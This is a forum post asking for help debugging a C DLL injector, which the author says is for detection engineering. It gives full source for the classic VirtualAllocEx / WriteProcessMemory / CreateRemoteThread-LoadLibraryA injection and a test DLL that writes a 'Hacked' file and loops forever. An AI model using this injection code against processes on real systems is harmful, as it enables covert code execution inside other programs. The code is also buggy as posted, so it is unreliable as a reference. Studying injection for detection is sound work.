I have created a process DLL injector in C for detection engineering purposes, it seems to work great on test processes I spawn in a shell (maybe because they are in the same path, or something with non-shells and printf) but whenever I test it on a random process it crashes said process at the CreateRemoteThread step, wondering if any of you could help thanks.
Here is the command I use if that helps (Bash): ./ProcessInjector.exe [PID] C:\Users\wsam\Documents\Process-Injection\bad_dll.dll
EDIT: I noticed if I take out all code in the bad_dll.dll while loop it succeeds in creating a thread and doesn't crash the process, why is that?
ProcessInjector.c
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <tlhelp32.h>
int main(int argc, char* argv[]){
char dllPath[MAX_PATH];
strcpy(dllPath, argv[2]);
printf("Victim PID : %s\n", argv[1]);
// use full or relative path
printf("DLL to inject : %s\n", argv[2]);
// get Handle from proc id
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
if (hProcess == NULL) {
printf("[---] Failed to open process %s.\n", argv[1]);
return 1;
}
printf("Press Enter to attempt DLL injection.");
getchar();
// Allocate memory for DLL's path
LPVOID dllPathAlloc = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(dllPathAlloc == NULL){
printf("[---] VirtualAllocEx unsuccessful.\n");
getchar();
return 1;
}
// Write path to memory
BOOL pathWrote = WriteProcessMemory(hProcess, dllPathAlloc, dllPath, strlen(dllPath), NULL);
if(!pathWrote){
printf("[---] WriteProcessMemory unsuccessful.\n");
getchar();
return 1;
}
// returns pointer to LoadLibrary address, same in every process.
LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if(loadLibraryAddress == NULL){
printf("[---] LoadLibrary not found in process.\n");
getchar();
return 1;
}
// creates remote thread and start mal dll
HANDLE remoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAlloc, 0, NULL);
if(remoteThread == NULL){
printf("[---] CreateRemoteThread unsuccessful.\n");
getchar();
return 1;
}
//Start-Address:kernel32.dll!LoadLibraryA
CloseHandle(hProcess);
return 0;
}
bad_dll.c
#include <windows.h>
#include <stdio.h>
#include <unistd.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
FILE * fp;
fp = fopen ("C:\\Users\\wsam\\Documents\\Hacked.txt","w");
fprintf (fp, "Hacked\n");
fclose (fp);
while(1){
printf("HACKED\n");
fflush(stdout);
sleep(1);
}
}